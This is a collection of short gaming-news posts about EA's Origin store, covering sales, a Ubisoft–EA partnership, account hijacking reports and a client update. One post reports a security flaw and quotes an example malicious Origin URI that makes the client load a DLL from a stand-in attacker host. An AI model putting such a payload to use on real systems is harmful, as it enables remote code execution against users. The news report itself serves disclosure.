If for some reason you don’t already own Battlefield 3 — which is unlikely — then you’re in luck! For tomorrow only, EA are knocking the price down to a pretty ridiculous $5. Yes, five dollars.

The special will go live on Origin at noon tomorrow (12:00 PM AEST) and be valid until 11:59 PM tomorow. Since the game usually costs $50, that’s a pretty ridiculous saving. If you don’t get in during this twelve hour window, you’ll have to pay the full price.

If you do though, you can use the money you’ve saved to buy Premium access, even, and get yourself five themed digital expansions including of course the latest one, Endgame, which features CTF on motorbikes. Radical.

Source: Press Release

Origin users are being warned that an exploit exists which could allow programs to use Origin to execute malicious code on your computer. The exploit, which works in much the same manner as a similar one spotted in Steam in October, would allow a hacker to use a web browser to force-open Origin and make it run unwanted code.

The exploit would change the command from normal syntax, such as origin://LaunchGame/[GameID], to something closer to origin://LaunchGame/[GameID]?CommandParams= -openautomate ATTACKER_IPevil.dll.

Security firm ReVuln, who also discovered the Steam exploit, have released a paper on the hack, as well as a video demonstration.

EA have sent a comment to Ars Technica to say “Our team is constantly investigating hypotheticals like this one as we continually update our security infrastructure.”

Source: Ars Technica

In a surprising twist, today Ubisoft and EA agreed to use each others’ digital delivery platforms to sell each others’ various games. Presumably coming together in a concerted effort to make Steam less appealing, the two publishers will now work together rather than trying to cut each others’ lunch.

In fact, Ubisoft is opening its doors to all manner of third-party developers for the first time, including Warner Bros. Interactive Entertainment, 1C Company, bitComposer Games, Bohemia Interactive, Encore Software, Focus Home Interactive, Freebird Games, Iceberg Interactive, Nordic Games, Paradox Interactive, Recoil Games, Robot Entertainment, Telltale Games, and Torn Banner Studios.

There’s no word on whether or not installing an EA game through uPlay will require you to launch Origin, or if buying an Ubisoft game through Origin will mean firing up uPlay anyway. Hopefully not, as that would be… well, the word “horrific” springs to mind.

Source: Press Release

Origin are actually using their massive discounting ability to offer some impressive discounts on EA games, valid until midnight AEDT tonight.

If you head over to the Origin online store you can grab Dead Space 1 for $4.50, Dead Space 2 for $6, and the entire Mass Effect Trilogy for $39 (normally $70).

Meanwhile, Dragon Age: Origins and the sequel are $10 each, Crysis is just $4.50 (what is this, Steam?) and Battlefield 3‘s various expansions are anywhere from $10 – $12 (if you’re not a Premium member).

Check them all out by clicking here.

Source: Origin (thanks Cas!)

DRM is one of the most controversial issues faced by avid PC gamers, attested to by the almost daily debates in our forums and our article comment threads. From the games that require always-on internet connections and registered accounts, to the content management platforms we now rely on to serve us new titles and keep older ones automatically updated, it’s obvious that we’re now stuck with it — at least in some form — for the near future.  But publishers are rapidly realising that given enough incentives, we’re willing to look the other way…

As the title says, EA Origin Store are having an Australia Day sale where, until January 29 (Tuesday, for those of you playing along at home) you can grab a bunch of titles for $9.99 each.

Games on sale include Dragon Age: Origins, Awakening, Dragon Age 2, Dead Space 1 and 2, Mass Effect 1 and 2, Battlefield 1942, 2142, BC2, BC2: Vietnam, and even games like Alice, Bulletstorm and Spore. Check out the full list of titles right here.

For some reason both Mass Effect 2 and Dragon Age: Origins have Digital Deluxe Editions priced at the same price as the regular vanilla editions, so if you are looking to buy one of them, grab the Deluxe one instead! Weird.

We’ve just been alerted to the fact that somebody has apparently pulled a fast one. If you try to visit steampowered.com.au you’ll see it for yourself, as you’re redirected it to EA’s Origin store.

A WHOIS lookup on the domain shows it’s registered to someone called “David Harry” at Netfleet.com.au, with nameservers operating out of Fabulous.com, so it doesn’t look like an official EA job but rather the work of some delightful internet humourist.

So! There you go. Well done, whoever that was.

Source: Thanks, Alex!

Eurogamer is reporting today that some Origin users are receiving emails notifying them that their password has been successfully changed… by somebody else.

A thread on NeoGAF is rounding up cases from the official EA forums of the hack, and one GAF user was able to track down the Russian email address that their account had now been linked to. Other people including Richard Leadbetter from Digital Foundry are posting proof of the emails they’ve received, showing clearly that their password is now gone.

Meanwhile, EA is denying that there has been any hack of their systems, saying “At this point, we have no reason to believe there has been any intrusion into our Origin database.” The implication, then, is that this is some sort of exploit of the client or perhaps a social engineering hack in order to get the email changed, but we’re waiting for more details.

Source: Eurogamer

EA are heralding the arrival of an Origin client update, with this latest one designed primarily to add Twitch.tv integration.

Hot on the heels of Twitch’s inclusion in the PlanetSide 2 client, Origin will support Twitch broadcasting directly from the Origin overlay once the accounts are connected.

The streaming support will include live feedback on how many people are watching your stream, as well as let you alter broadcast resolution, framerate and so on.

Also included in the update is the addition of non-Origin game shortcuts much in the same manner as Steam, and continued general client optimisation. EA are touting an improved Friends list that should “load faster and feel more responsive”, quicker general client load times, and more. Personally I’m hoping this will iron out the issue where I have to literally restart my computer to get my Friends list to correctly show people who I know are online (I know they’re online, because they tell me so. On Steam.)

Source: Origin (Thanks, Cas)

Today marks the 10th anniversary of the Battlefield series and, to celebrate, EA are having a sale! The primary game of interest for many will of course be Battlefield 3, which is on sale for a paltry $20 (although not nearly as paltry as the $10 our US friends are paying for it).

You’ll also find savings across the rest of the Battlefield range: Bad Company 2 AND Bad Company 2: Digital Deluxe Edition are both $10 (bizarre), and Battlefield 2142 is also down to $10.

The sale runs until September 24.

Source: Origin

Despite Origin positioning itself as a direct competitor to Steam, “there is no feud” between the two, claims EA boss Peter Moore. “It’s Valve. Gabe’s a great friend of EA’s. We’re a great friend of his, we like to think.”

Moore was, however, happy to explain EA’s continued beef with Steam’s T&C’s. “They have different terms and conditions that they put on their games that don’t meet what we would like to do with our gamers,” he said. “They insist on being a layer between the game developer and publisher and the consumer. They take a piece of the revenue stream. And they don’t allow us to go directly to the consumer to do patches and updates.”

“So we just agree to disagree. It’s not a feud. They have their terms and conditions. We do. They don’t meet.”

As we espoused recently on this site, EA needs to work harder with Origin to prove to consumers that it’s a viable alternative. Said Moore: “You’ll see updates all the time. It’s got to enhance your gaming experience in simple terms. That’s our job, to be able to do that.”

Source: Eurogamer

And finally, in non-Gamescom-related news, Origin is having a massive sale! Just about everything in the Origin store is 50% off, even the big names like Mass Effect 3, The Sims, Battlefield 3 and Shogun 2. So it is a pretty big sale. A pretty big, Australian sale, it seems — funnily, it looks as though it hasn’t just been allowed into the Australian store, but is in fact limited to the Australian store. So that’s weird.

In any case, check it out here and maybe buy some stuff?

Source: Kotaku